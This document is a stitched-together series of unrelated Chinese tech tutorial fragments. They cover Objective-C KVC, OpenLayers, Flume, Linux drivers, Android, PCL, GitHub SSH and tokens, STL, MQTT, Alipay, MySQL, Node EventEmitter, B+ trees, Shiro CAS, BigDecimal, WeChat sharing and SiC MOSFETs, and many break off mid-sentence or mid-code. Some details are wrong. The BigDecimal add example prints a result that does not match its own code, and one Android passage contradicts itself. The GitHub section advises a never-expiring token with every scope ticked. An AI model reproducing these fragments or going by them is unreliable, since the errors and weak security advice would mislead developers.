键值编码KVC与键值监听KVO 键值编码KVC 设置和获取对象的属性值有三种:setter/getter方法、点语法、KVC。KVC即Key Value Coding,以字符串形式间接操作对象的属性。
最基本的KVC由NSKeyValueCoding协议提供支持,最基本的操作属性的两个方法如下:
setValue:属性值 forKey:属性名:为指定属性设置值。valueForKey:属性名:获取指定属性的值。 #import <Foundation/Foundation.h> @interface FKUser : NSObject @property (nonatomic, copy) NSString* name; @property (nonatomic, copy) NSString* pass; @property (nonatomic, copy) NSDate* birth; @end @implementation FKUser @end int main(int argc, char* argv[]){ @autoreleasepool{ FKUser* user = [[FKUser alloc] init]; //使用KVC方式为name、pass、birth属性设置值 [user setValue:@"wukong.sun" forKey:@"name"]; [user setValue:@"1455" forKey:@"pass"]; [user setValue:[[NSDate alloc] init] forKey:@"birth"]; //使用KVC方式获取FKUser对象的属性值 NSLog(@"user's name is %@", [user valueForKey:@"name"]); NSLog(@"user's pass is %@", [user valueForKey:@"
数据组织 & Layer图层 Layer图层初始化一个切片图层矢量图层Vector Layer ViewcontrolsInteractionFeature 学习不用慌,我们可以看到官网这个界面我们只需要掌握下面几大项就可以操练起来了。
当然在学习中要经常查官方文档自然慢慢就会了。
Layer图层 瓦片地图原理
OpenLayers的地图数据通过图层(Layer)进行组织渲染,然后通过数据源(Source)设置具体的地图数据来源。Layer可看作渲染地图的层容器,具体的数据需要通过Source设置。
地图数据根据数据源(Source)可分为Image、Tile、Vector三大类型的数据源类,对应设置到地图图层(Layer)的Image、Tile、Vector三大类的图层中。
Source和Layer是一对一的关系,有一个Source,必然需要一个Layer,然后把Layer添加到Map上,就可以显示出来了。
Image为图片数据源,Tile为瓦片数据源(之前文章有如何下载瓦片),两者本质基本相同,均为图片或图片集。
初始化一个切片图层 // 使用 高德 的瓦片数据 const tileLayer = new TileLayer({ source: new XYZ({ url: "https://webrd01.is.autonavi.com/appmaptile?lang=zh_cn&size=1&scale=1&style=8&x={x}&y={y}&z={z}", }), }); 例中的 source url 设置了数据的来源。
矢量图层Vector Layer 矢量地图
Vector Layer的特点
在栅格图片里,你所能看到就是你所能得到的信息,在你的地图上添加卫星图片能够看到很多的建筑物,但是建筑物的很多属性信息你是看不到的,如楼层结构、年代、使用年限等,但是矢量图层能够提供更多的信息。
在矢量图层中,能够显示建筑物的几何形状和附加信息,如房主、面积、方位等等。在栅格图层上添加矢量图层很简单,还可以在指定位置创建要素。我们可以通过鼠标的点击、停旋在要素上查看要素的属性信息,空间信息等。
我们根据坐标值或者通过绘制生成的几何体,都是使用VectorLayer来添加的
// 创建矢量数据源 const source = new VectorSource({ features, }); // 创建样式 const style = new Style({ stroke: new Stroke({ color: "#ff0000", width: 3, lineDash: [5], }), fill: new Fill({ color: "
Flume 一.概述1.基础架构2.拓扑结构3.Agent内部原理 二.安装Flume三.入门案例1.监控端口2.实时监控单个追加文件3.读取目录新文件到HDFS4.实时监控多个追加文件 四.进阶案例1.Chanel Selector1.1 replicating1.2 multiplexing 2.Sink Processors2.1 failoversinkprocessor2.2 load_balance 3.聚合 五.Flume数据流监控 一.概述 Flume 是 Cloudera 提供的一个高可用的,高可靠的,分布式的海量日志采集、聚合和传输的系统。Flume 基于流式架构,灵活简单
Flume最主要的作用就是,实时读取服务器本地磁盘的数据,将数据写入到HDFS或者Kafka,最主要的,flume是实时采集的
1.基础架构 Agent Agent 是一个 JVM 进程,主要有 3 个部分组成,Source、Channel、Sink,它以事件的形式将数据从源头送至目的
Source Source 是负责接收数据到 Flume Agent 的组件。Source 组件可以处理各种类型、各种格式的日志数据,包括 avro、thrift、exec、jms、spooling directory、netcat、taildir、sequence generator、syslog、http、legacy
doPut:将数据写进临时缓冲区putList
doCommit:检查channel内存队列是否足够合并
doRollback:内存队列不足,回滚数据
Channel Channel 是位于 Source 和 Sink 之间的缓冲区。因此,Channel 允许 Source 和 Sink 运作在不同的速率上Channel 是线程安全的,可以同时处理几个 Source 的写入操作和几个Sink 的读取操作
Flume 自带两种 Channel:Memory Channel 和 File Channel
Memory Channel 是内存中的队列。Memory Channel 在不需要关心数据丢失的情景下适用。如果需要关心数据丢失,那么 Memory Channel 就不应该使用,因为程序死亡、机器宕机或者重启都会导致数据丢失。File Channel 将所有事件写到磁盘。因此在程序关闭或机器宕机的情况下不会丢失数据
1、设备驱动分类 一般来说设备驱动分三类:字符设备驱动、块设备驱动、网络设备驱动。
1.1 字符设备驱动 字符设备驱动:软件操作设备时是以字节为单位进行的。典型的如LCD、串口、LED、蜂鸣器、触摸屏....
字符设备驱动是比较重要的,为什么,因为大多数的设备都是属于字符设备。同时字符设备驱动修改也比较方便,我们可以直接找到对应的点去修改,而不在乎其余位置。linux驱动工程师大多数工作都是一次展开的
1.2 块设备驱动 块设备驱动被软件操作时,是以块(多个字节构成的一个单位)为单位的。设备的块大小是设备本身设计时定义好的,软件是不能去更改的,不同设备的块大小可以是不一样的。常见的块设备都是存储类设备,如:硬盘、NandFlash、iNand、SD...操作块设备时,我们必须以块单位进行操作,将一块的数据读取到内存中去,然后在内存中找到对应的那个字节数修改之后再以一块的数据写入到我们的块设备中去。
因为块设备驱动修改起来比较麻烦,比如一个块里有64个字节,其中第37个字节我们需要把里面的数字a改为b,那么我们就需要把这个块里面的所有字节读出来,然后把37的a改为b,最后就把改好了的这个64个字节写回去。所以就比较麻烦。
1.3 网络设备驱动 网络设备、是专为网卡设计的驱动模型,linux中网络设备驱动主要目的是为了支持API中socket相关的那些函数工作。这个用的比较少。
2.linux内核组成 linux内核主要是由进程调度、内存管理、虚拟文件系统、网络接口和进程通信这五个子系统组成的。
2.1 进程调度 多任务系统可以分为非抢占式、和抢占式两种。linux提供抢占式多任务模式,进程在被抢占之前能够被运行的时间叫做进程的时间片。
2.1.1 linux调度的实现 时间记账
进程选择
调度器入口 入口就是schedule
睡眠和唤醒
2.1.2 进程概念 线程关系 进程是正在执行的程序代码的实时结果,是处于执行期的程序以及相关资源的总称。
线程是在进程中活动的对象,内核调度的对象是线程,而不是进程。
2.1.3 进程上下文 一般程序在用户空间执行时,当一个程序执行了一个系统调用或者触发了某个异常,它就陷入了内核空间。此时,我们称“代表进程执行”并处理进程上下文中。除非在此间隙有更高优先级的进程需要
2.2 系统调用 系统调用是用户空间访问内核的唯一手段,除了陷入和异常外,他们是内核唯一的合法入口
3、中断处理 中断处理程序是被内核调用来响应中断的,它运行在中断上下文,中断处理程序是上半部。当接收到一个中断时,他就立即开始执行,但只做严格时限的工作。例如,对接收的中断进行应答或答复硬件,这些工作都是在所有中断都被禁止的情况下完成的,能够被允许稍后完成的工作会推迟到下半部。
创建一个最基本的Activity
打开Android Studio点击file--->New Project,选择No Activity创建一个空的Activity
点击nex他,等项目创建好之后,在com.example.listviewtest右键点击New->Activity->Empty Activity
勾选Generate a Layout File让Android Studio自动帮我们创建一个layout布局xml文件
这时再去AndroidManifest.xml里面注册刚刚创建的Activity(一般AndroidStudio会自动注册),如果这是这个空项目里面第一个Activity(Android:name是来指定具体注册哪一个Activity),但是现在项目还是启动不起来,因为还没有配置主Activity,所以在标签<activity>里面加入<intent-filter>标签并在这个标签里面添加<action>和<category>
<activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"></action> <category android:name="android.intent.category.LAUNCHER"></category> </intent-filter> </activity> 在app目录下的build.gradle中在加入一个kotlion插件
id 'kotlin-android-extensions' 现在这个Activity已经创建好了,我们在创建的Activity里面试一下
首先在layout文件夹中该Activity的.xml文件里面添加了一个Button元素
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <Button android:id="@+id/button1" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="BUTTON1" /> </LinearLayout> 然后在Button元素内部添加了几个属性,android:id是给当前的元素定义一个唯一的标识符,之后可以在代码里面对这个元素进行操作,android:layout_width指定当前元素的宽度这里使用match_parent表示让当前元素和父元素一样宽,android:layout_height指定当前元素的高度,这里使用wrap_content表示当前元素的高度只要能刚好包含里面的内容就行,Android:text指定了元素中显示的内容
然后去Activity里面加载这个布局
class FirstActivity : BaseActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) Log.d("FirstActivity", "Task id is $taskId") setContentView(R.layout.XXXX_layout) } 最后运行一下
PCL学习之滤波Filtering 1. Filtering a PointCloud using a PassThrough filter--简单区间滤波方法2. Downsampling a PointCloud using a VoxelGrid filter--体素网格2.1 示例结果 3. Removing outliers using a StatisticalOutlierRemoval filter3.1 示例结果 4. Projecting points using a parametric model5. Extracting indices from a PointCloud5.1 示例结果 6. Removing outliers using a Conditional or RadiusOutlier removal 1. Filtering a PointCloud using a PassThrough filter–简单区间滤波方法 a simple filtering along a specified dimension – that is, cut off values that are either inside or outside a given user range.
安装PCL,在visual studio 中需要配置附加依赖项,由于附加依赖项很多,而且分为degug和release两种版本,这里整理了PCL1.12.1所有附加依赖项debug:
libboost_atomic-vc142-mt-gd-x64-1_78.lib
libboost_bzip2-vc142-mt-gd-x64-1_78.lib
libboost_chrono-vc142-mt-gd-x64-1_78.lib
libboost_container-vc142-mt-gd-x64-1_78.lib
libboost_context-vc142-mt-gd-x64-1_78.lib
libboost_contract-vc142-mt-gd-x64-1_78.lib
libboost_coroutine-vc142-mt-gd-x64-1_78.lib
libboost_date_time-vc142-mt-gd-x64-1_78.lib
libboost_exception-vc142-mt-gd-x64-1_78.lib
libboost_filesystem-vc142-mt-gd-x64-1_78.lib
libboost_graph-vc142-mt-gd-x64-1_78.lib
libboost_graph_parallel-vc142-mt-gd-x64-1_78.lib
libboost_iostreams-vc142-mt-gd-x64-1_78.lib
libboost_json-vc142-mt-gd-x64-1_78.lib
libboost_locale-vc142-mt-gd-x64-1_78.lib
libboost_log-vc142-mt-gd-x64-1_78.lib
libboost_log_setup-vc142-mt-gd-x64-1_78.lib
libboost_math_c99-vc142-mt-gd-x64-1_78.lib
libboost_math_c99f-vc142-mt-gd-x64-1_78.lib
libboost_math_c99l-vc142-mt-gd-x64-1_78.lib
libboost_math_tr1-vc142-mt-gd-x64-1_78.lib
libboost_math_tr1f-vc142-mt-gd-x64-1_78.lib
libboost_math_tr1l-vc142-mt-gd-x64-1_78.lib
libboost_mpi-vc142-mt-gd-x64-1_78.lib
libboost_nowide-vc142-mt-gd-x64-1_78.lib
libboost_numpy38-vc142-mt-gd-x64-1_78.lib
libboost_prg_exec_monitor-vc142-mt-gd-x64-1_78.lib
libboost_program_options-vc142-mt-gd-x64-1_78.lib
libboost_python38-vc142-mt-gd-x64-1_78.lib
libboost_random-vc142-mt-gd-x64-1_78.lib
libboost_regex-vc142-mt-gd-x64-1_78.lib
libboost_serialization-vc142-mt-gd-x64-1_78.lib
libboost_system-vc142-mt-gd-x64-1_78.lib
libboost_test_exec_monitor-vc142-mt-gd-x64-1_78.lib
libboost_thread-vc142-mt-gd-x64-1_78.lib
libboost_timer-vc142-mt-gd-x64-1_78.lib
libboost_type_erasure-vc142-mt-gd-x64-1_78.lib
libboost_unit_test_framework-vc142-mt-gd-x64-1_78.lib
libboost_wave-vc142-mt-gd-x64-1_78.lib
libboost_wserialization-vc142-mt-gd-x64-1_78.lib
libboost_zlib-vc142-mt-gd-x64-1_78.lib
pcl_commond.lib
pcl_featuresd.lib
pcl_filtersd.lib
pcl_iod.lib
pcl_io_plyd.lib
pcl_kdtreed.lib
pcl_keypointsd.lib
pcl_mld.lib
pcl_octreed.lib
pcl_outofcored.lib
pcl_peopled.lib
pcl_recognitiond.lib
pcl_registrationd.lib
pcl_sample_consensusd.lib
pcl_searchd.lib
pcl_segmentationd.lib
pcl_stereod.lib
pcl_surfaced.lib
pcl_trackingd.lib
pcl_visualizationd.lib
flann-gd.lib
flann_cpp-gd.lib
flann_cpp_s-gd.lib
flann_s-gd.lib
qhullcpp_d.lib
我们在github clone的时候有两种选择,HTTPS或SSH。HTTPS不必多说,主要说SSH
我们是可以看到有一个警告的,我们开始做
1.在用户目录下git bash,输入命令ssh-keygen -t rsa -C 136675347@qq.com生成.ssh文件夹(-C后面为描述,我们写我们的邮箱),里面有公钥私钥。(要敲三次回车)如图
我们的公钥私钥
2.在github中的settings中找到SSH and GPG keys,点击New SSH key
把公钥内容复制进去,点击Add SSH key
创建成功!
而且我们可以发现clone时的SSH没有报警告了
git push代码时出现如下情况,尝试几次输入用户名密码还是不行
Support for password authentication was removed on August 13, 2021.
意思是:2021 8月13日,取消了对密码验证的支持。
所以我们需要创建个人访问令牌(personal access token)。
github中的设置
然后在最下面找到Developer settings
找到Personal access tokens,然后点击Generate new tokens
输入note,选择有效期限(我选择为永久)
下方可以全部勾选
最后点击Generate token
生成类似于下方这样,记得保存哦,不然刷新一下就没啦!
之后再次push,在输入密码时输入token,成功push代码!
1、STL基本概念 standard template library,标准模板库,是由惠普实验室开发的一系列软件的统称。STL广义上分为容器container、算法algorithm、迭代器iterator,容器和算法之间通过迭代器进行无缝连接。STL几乎所有的代码都采用了模板类或者模板函数,这相比传统的由函数和类组成的库来说提供了更好的代码重用机会。
在c++标准中,STL被组织成一下13个头文件
<algorithm>、<deque>、<functional>、<iterator>、<vector>、<list>、<map>、<memory>、<numeric>、<numeric>、<queue>、<set>、<stack>、<utility>
使用STL的优点
(1)且现在STL是C++的一部分,被内建在c++编译器中,不需要额外安装。
(2)特点:数据结构(容器)和算法分离。迭代器作为容器和算法的桥梁。
(3)高重用性、高性能、高移植性、跨平台
2、string容器 在学习string容器之前,我们要先搞清楚string类型的特性。我们和char *字符串对比
char* 是一个指针,string是一个类。----string封装了char *,管理这个字符串,是一个char *型的容器string封装了很多实用方法。----查找find,拷贝copy, 删除delete, 替换replace,插入insert不用考虑内存释放和越界。----string管理char*所分配的内存,每一次string的复制、取值都由string类负责维护string和char*可以互相转换。----string str = "zhang3"; char* pch = str.c_str(); (1)string的构造函数
(2)string的赋值、取值操作
---- 成员方法assign("zhang3");赋值操作
---- []中括号数组下标的方式,这种方式存在越界风险,可能让程序崩溃
---- at(i);这种方式则会在越界时抛出越界异常,
(3)string拼接操作 +, +=
(4)string查找和替换
(5)string字符串比较
(6)string字符串子串
(7)string插入和删除
string案例
3、vector容器 3.1vector单口容器:动态数组、可变数组 vector提供两种迭代器,一种是正向迭代器begin和end,还有反向迭代器rbegin和rend。除了在尾部操作的pushback和popback之外,也提供插入方法insert。
注意:我们一般不使用insert在中间插入数据,因为vector容器是一块连续的地址空间,如果在中间插入,那么插入地点后面的元素,都要向后移动,消耗资源。
3.2vector动态增长原理 当插入新元素的时候,如果空间不足,vector会申请更大的一块内存空间,将原来空间的数据拷贝到新空间,并释放原来的空间。再将新元素放入新申请的空间。vector的空间申请策略是会申请两倍空间大小,除非数据量占用空间特别大的时候,vector会改变申请空间策略。
3.3vector API接口 (1)构造函数
(2)常用赋值操作
三个 QoS 级别简介 在 MQTT 协议里,定义了三个级别的 QoS,由低到高分别是:
最多一次 (QoS0)至少一次 (QoS1)有且仅有一次 (QoS2) QoS0 是最低级别,基本上等同于 Fire and Forget 模式,发送者发送完数据之后,不关心消息是否已经投递到了接收者那边。
QoS1 是中间级别,保证消息至少送达一次。MQTT 通过简单的 ACK 机制来保证 QoS1。
QoS2 是最高级别,保证到且仅到一次。这通过更加复杂的消息流程保证。
QoS 级别越高,流程越复杂,系统资源消耗越大。应用程序可以根据自己的网络场景和业务需求,选择合适的 QoS 级别:
比如在同一个子网内部的服务间的消息交互往往选用 QoS0;而通过互联网的实时消息通信往往选用 QoS1;QoS2 使用的场景相对少一些,能想到的如国防武器,医疗设备等应用场景。
既然 QoS 是发送者和接收者之间的质量协定,在 MQTT 协议的 Client - Broker - Client 架构里,QoS 就需要分成两部分来讨论:
从发送者到 Broker 之间消息传递的 QoS。这需要由发送者在 MQTT PUBLISH 消息里设置 QoS 级别。从 Broker 到接收者之间消息传递的 QoS。这需要接收者在订阅 Topic 时,设置 SUBSCRIBE 消息里的 QoS 级别。 MQTT发布消息QoS保证不是端到端的,是客户端与服务器之间的。订阅者收到MQTT消息的QoS级别,最终取决于发布消息的QoS和主题订阅的QoS。
支付宝如何生成及配置公钥证书 支付宝官网文档:https://opendocs.alipay.com/support/01rauw
说明:
1、公钥证书方式是指开发者将 APPID、应用私钥 (private_key)、应用公钥证书(public_key_cert)、支付宝公钥(alipay_public_key)、支付宝公钥证书(alipay_public_key_cert)、支付宝根证书(alipay_root_cert)配置在代码中,对请求内容进行签名,并对支付宝返回的内容进行验签的方法。无需使用到应用公钥
2、公钥证书方式下,开发者发送给开放平台网关请求参数中,需携带 应用公钥证书 SN(app_cert_sn)、支付宝根证书 SN(alipay_root_cert_sn)。PHP版支付宝提供的官方SDK中 exexute 和 sdkExecute 方法都没有加入这两个参数进行签名,需主动修改SDK
1. 保证电脑上已经安装好了mysql 检查mysql是否正常运行
2. 进入myaql
mysql -u root -p 回车后 输入设置的数据库密码 3. 创建数据库
create database 数据库名称; 4. 查看库是否创建完成
show databases; 5. 切换到使用的数据库
use shop0308; 6. 打开写好的sql文件
7. 找到文件的绝对路径
8. 复制文件地址,将文件导入到mysql数据库中
source 地址; 9. 当出现query ok的时候导入数据成功
EventEmitter是 Node.js 的内置模块,为我们提供了事件订阅机制。下面本篇文章就来带大家了解一下Node.js中的EventEmitter模块,介绍一下它的用法,希望对大家有所帮助!
EventEmitter 的使用 EventEmitter 为我们提供了事件订阅机制,通过引入 events 模块来使用它。
const {EventEmitter} = require("events"); const eventEmitter = new EventEmitter(); // 监听 data 事件 eventEmitter.on("data", () => { console.log("data"); }); // 触发 data 事件 eventEmitter.emit("data"); 上述代码我们使用 on 方法来为事件绑定回调函数,使用 emit 方法来触发一个事件。
on、addListener 我们可以通过 on 和 addListener 方法来为某事件添加一个监听器,二者的使用是一样
eventEmitter.on("data", () => { console.log("data"); }); eventEmitter.addListener("data", () => { console.log("data"); }); 第一个参数为事件名,第二个参数为对应的回调函数,当 EventEmitter 实例对象调用 emit 触发相应的事件时便会调用该回调函数,如
const {EventEmitter} = require("events"); const eventEmitter = new EventEmitter(); eventEmitter.
头文件声明
#ifdef __cplusplus
extern “C” {
#endif
#ifdef __cplusplus
}
#endif
没有参数错误选项,最终解决。
解决办法:
你的包含头文件中可能存在非C文件,例如#include<string>,会引起该错误,改为#include<string.h>。
Android开发过程中,经常会遇到像layout-sw600dp, values-sw600dp这样的文件夹,以前没用到,不怎么关注,所以一直一知半解的。现在要用到了,才去了解他们的用法和区别。其实,他们和drawable-hdpi/ drawable-mdpi等的使用类似,都是为了实现适配各种Android手机屏幕而使用的,只是drawable用来管理不同大小图片资源,layout用来管理不同布局,values用来管理不同大小的值。
下面就先来看看layout-sw600dp、layout-w600dp和layout-h600dp的区别~~
一、layout-sw600dp
这里的sw代表smallwidth的意思,当你的屏幕的绝对宽度大于600dp时,屏幕就会自动调用layout-sw600dp文件夹里面的布局。
注意:这里的绝对宽度是指手机的实际宽度,即与手机是否横屏没关系,也就是手机较小的边的长度。
二、layout-w600dp
当你的屏幕的相对宽度大于600dp时,屏幕就会自动调用layout-w600dp文件夹里面的布局。
注意:这里的相对宽度是指手机相对放置的宽度;即当手机竖屏时,为较小边的长度;当手机横屏时,为较长边的长度。
三、layout-h600dp
与layout-w600dp的使用一样,只是这里指的是相对的高度。
当你的屏幕的相对高度大于600dp时,屏幕就会自动调用layout-w600dp文件夹里面的布局。
注意:这里的相对高度是指手机相对放置的高度;即当手机竖屏时,为较长边的长度;当手机横屏时,为较小边的长度。但这种方式很少使用,因为屏幕在相对高度上,即在纵向上通常能够滚动导致长度变化,而不像横向那样基本固定,因而这个方法灵活性差,google官方文档建议尽量使用这种方式。
四、values-sw600dp / values-w600dp
values与上面介绍的layout的使用方式是一样的,这里不作详细介绍~~
目录
一、B+树的演变历史(从BST树到B+树)
1.BST树---二叉查找树
2.AVL树 --- 平衡二叉树
3.B树 --- 平衡多路查找树
4.B+树
二、B+树应用场景
一、B+树的演变历史(从BST树到B+树) 1.BST树---二叉查找树 性质:
若其左子树非空,则左子树上所有节点的值都小于根节点的值若其右子树非空,则右子树上所有节点的值都大于根节点的值其左右子树都是一棵二叉查找树 左子树<根<右子树,即二叉查找树的中序遍历是一个递增序列。
如下图就是一个二叉查找树:
二叉查找树的查询时间复杂度比链表快,链表的查询时间复杂度是O(n),二叉排序树平均是O(logn)。二叉查找树越平衡,越能模拟二分法,所以与二分的思想相似,二叉查找树查询的时间复杂度O(logn)。
缺点:
如果插入的结点的值的顺序,是越来越小或者越来越大的,那么BST就会退化为一条链表,那么其查询的时间复杂度就会降为O(n)。如下图所示:
2.AVL树 --- 平衡二叉树 为了解决BST树的缺点,AVL树应运而生。
性质:
每棵子树中的左子树和右子树的深度差(平衡因子)的绝对值不能超过1二叉树中每棵子树都要求是平衡二叉树 也就是说,平衡二叉树的前提是它是一棵二叉查找树
平衡二叉树的查找、插入、删除操作在平均和最坏的情况下都是O(logn),这得益于它时刻维护着二叉树的平衡。
平衡因子: 每个结点都有其各自的平衡因子,表示的就是该节点左子树深度减去右子树深度的值称为该结点的平衡因子BF,那么平衡二叉树上的所有节点的平衡因子只能是-1,0,1。只要一棵树中存在平衡因子不是这几个值,则这棵树就是不平衡的,就需要对这棵树进行调整。
AVL树的平衡因子的绝对值不会超过1,正因为如此AVL树的形状肯定不会退化成一条链表的,而是“矮胖”型的树。所以能确保AVL的查找、添加、删除的时间复杂度都是O(logn)。
3.B树 --- 平衡多路查找树 B树和AVL树(平衡二叉树) 的差别就是 B树 属于多叉树,又名平衡多路查找树,即一个结点的查找路径不止左、右两个,而是有多个。数据库索引技术里大量使用者B树和B+树的数据结构。一个结点存储多个值(索引)。
B树的阶数:M阶表示 一个B树的结最多有多少个查找路径(即这个结点有多少个子节点)。M=M路,M=2是二叉树,M=3则是三叉树。
一棵M阶B树有以下特点:
每个结点的值(索引) 都是按递增次序排列存放的,并遵循左小右大原则。 根结点的子节点个数为 [2,M]。
除根结点以外的非叶子结点 的子节点个数为[ Math.ceil(M/2),M],其中Math.ceil() 为向上取整。每个非叶子结点的值(索引) 个数 = 子节点个数 -1 。最小为 Math.ceil(M/2)-1 最大为 M-1 个。B树的所有叶子结点都位于同一层。 下图就是一个B树:
B树的查找结点过程 :
在上图中若搜索 key 为 25 节点的 data,首先在根节点进行二分查找(因为 keys 有序,二分最快),判断 key 25 小于 key 50,所以定位到最左侧的节点,此时进行一次磁盘 IO,将该节点从磁盘读入内存,接着继续进行上述过程,直到找到该 key 为止。
之前面试的时候被问了一个问题:你能描述下linux下一个进程的启动流程吗?或者安卓的也可以。我想了下,嗯不会,面试中的问题总是来的那么猝不及防。安卓启动一个apk就是一个进程,来看下安卓下如何启动一个进程的。
先简单说下安卓系统的启动流程。安卓系统开机先是由BootLoader引导程序启动,把kernel拉起来并运行。kernel启动时,设置缓存、被保护存储器、计划列表,加载驱动。当kernel完成系统设置,它首先在系统文件中寻找”init”文件,启动init进程,init对init.rc文件进行解析,启动zygote。zygote是安卓系统的第一个Java进程,是所有Java进程的父进程,创建system server 、AMS、pws等进程。等系统相关的服务都启动后,然后开始启动apk。
接下来看看,安卓如何启动一个apk的启动流程,我手上的板子是安卓4.4.2的系统,所以安卓4.4.2的源码来说,大的调用流程如下,从activity启动到zygote fork新的进程。Process::openZygoteSocketIfNeeded到ZygoteConnection::runOnce,是通过socket通知zygote进程,创建子进程,这样app的进程就启动了。 但是内存的申请在哪儿,还是得找时间再看看。毕竟面试的时候大家都喜欢问内存相关问题
Android Studio底部找不到logcat选项卡 情况一 如果是新安装的AS刚导入项目,那么别着急,先下载项目需要的SDK,点击右上角的
然后对照下图,配置需要的gradle环境和版本。
**重点来了:**下载完成后点击file -> sync project with gradle files或者直接点:
完美解决!
情况二 如果整个导航条都不见了,尝试点击左下角,找到这个小方块点击一下就显示导航栏了。
情况三 选项卡只是单纯的隐藏起来了,直接点:
其他问题 如果发现找不到sync怎么办?那多半是导入问题,Android Studio表示认不出来是android项目。so,检查导入项目的根目录是否正确。
1、引入需要的依赖 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-cas</artifactId> <version>1.3.2</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.3.2</version> </dependency> 2、创建cas_shiro.xml配置 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd "> <!-- CasFilter为自定义的单点登录过滤拦截Fileter --> <bean id="casFilter" class="org.apache.shiro.cas.CasFilter"> <!-- ${cas.server.url}是直接从yml中取的值 --> <property name="failureUrl" value="${cas.server.url}/login?service=${cas.client.url}/shiro-cas"/> </bean> <!-- (非单点登录)自定义登录认证relm --> <!-- <bean id="loginAuthCasRealm" class="com.cetc.data.frame.authority.realm.LoginAuthRealm"></bean> --> <!-- 单点登录下的权限认证 --> <bean id="loginAuthCasRealm" class="cn.toroot.bj.config.shiro.LoginAuthCasRealm"> <!-- cas服务端地址前缀 --> <property name="casServerUrlPrefix" value="${cas.server.url}"></property> <!-- 应用服务地址,用来接收cas服务端票据,客户端的cas入口 客户端的回调地址设置,必须和上面的shiro-cas过滤器casFilter拦截的地址一致 --> <property name="
BigDecimal常用API 1、加法 add2、减法 subtract3、乘法 multiply4、除法 divide5、求余 divideAndRemainder6、比较大小 compareTo7、处理小数 BigDecimal 在日常开发中比较常用,一些涉及金额的计算及为了确保精度计算都会使用,下面是一些常用的API
1、加法 add BigDecimal a = new BigDecimal(999); BigDecimal b = new BigDecimal(10000); a = a.add(b); System.out.println(a.add(b));//10999 2、减法 subtract BigDecimal a = new BigDecimal(999); BigDecimal b = new BigDecimal(10000); a = a.subtract(b); System.out.println(a);//-9001 3、乘法 multiply BigDecimal a = new BigDecimal(999); BigDecimal b = new BigDecimal(10000); BigDecimal c = a.multiply(b); System.out.println("a*b=" + c); 4、除法 divide BigDecimal a = new BigDecimal(999); BigDecimal b = new BigDecimal(10000); c = a.
1.在微信中配置好相关接口后
分享到QQ和QQ空间是正常的,但是分享给朋友和分享到朋友圈就是链接如下图
2.解决办法:
a.要分享的链接使用二维码生成后再分享 ,就可以图文分享了
b.在微信公众号菜单打开链接进行分享
c.微信收藏需要分享的链接,从微信收藏处进去后再分享就可以了
SiC设计干货分享(一):SiC MOSFET驱动电压的分析及探讨 随着制备技术的进步,在需求的不断拉动下,碳化硅(SiC)器件与模块的成本逐年降低。相关产品的研发与应用也得到了极大的加速。尤其在新能源汽车,可再生能源及储能等应用领域的发展,更是不容小觑。
【导读】随着制备技术的进步,在需求的不断拉动下,碳化硅(SiC)器件与模块的成本逐年降低。相关产品的研发与应用也得到了极大的加速。尤其在新能源汽车,可再生能源及储能等应用领域的发展,更是不容小觑。
富昌电子(Future Electronics)一直致力于以专业的技术服务,为客户打造个性化的解决方案,并缩短产品设计周期。在第三代半导体的实际应用领域,富昌电子结合自身的技术积累和项目经验,落笔于SiC相关设计的系列文章。希望以此给到大家一定的设计参考,并期待与您进一步的交流。
作为系列文章的第一部分,本文将先就SiC MOSFET的驱动电压做一定的分析及探讨。
常见的Vgs与Vgs(th),以及对SiC MOSFET应用的影响
驱动电压Vgs和栅极电压阈值Vgs(th)关系到SiC MOSFET在应用过程中的可靠性,功率损耗(导通电阻),以及驱动电路的兼容性等。这是SiC MOSFET非常关键的参数,在设计过程中需要重点考虑。在不同的设计中,设置不同的驱动电压会有更高的性价比。下图1 列出几个常见厂家部分SiC MOSFET的Vgs与Vgs(th)值作对比。
SiC MOSFET驱动电压设置探讨
找电子元器件现货上唯样商城
1.驱动电压高电平Vgs_on是选择+12V、+15V、+18V还是+20V?
如图1所示,SiC MOSFET 驱动电压正向最大值在22V~25V左右,推荐的工作电压主要有+20V,+18V两种规格,具体应用需要参考不同SiC MOSFET型号的DATASHEET。由下图2所示,Vgs超过15V时,无论是导通内阻还是导通电流逐渐趋于平缓 (各家SiC MOSFET的DATASHEET给出的参考标准不同,有的是Rds(on)与Vgs的曲线,有的是Id与Vgs的曲线)。当然驱动电压Vgs越高,对应的Rds(on)会越小,损耗也就越小。
富昌设计小建议:Vgs设定Vgs时不能超过DATASHEET给定的最大值,否则可能会造成SiC MOSFET永久损坏。
(1)对于推荐使用+18V或+20V 高电平驱动电压的SiC MOSFET
由图1所示,因为新一代SiC MOS工艺的提升,部分SiC MOSFET推荐高电平驱动电压为+18V。由下图2所示,工艺的提升,使得Vgs从+18V到+20V的Rds(on)变化不大,导通损耗差别不明显。
富昌设计小建议:最新一代SiC MOSFET建议使用+18V驱动电压。对降低驱动损耗以及减少Vgs过冲损坏更加有益。
(2)对于+15V 高电平可否驱动SiC MOSFET
在正常情况下,DATASHEET上没有推荐,不建议使用。但是考虑到与15V驱动的Si IGBT 兼容,需要经过计算导通损耗的增加,设计有足够的散热条件以及考虑到设备整体损耗时,也可以使用。如下图2所示为Vgs与Rds(on)的关系,可知门极电压越高,Rds(on)越小,如果在+15V下工作Rds(on)会比标称值大。
富昌设计小建议:Vgs设置为+15V时,SiC MOSFET损耗会比标称值大。
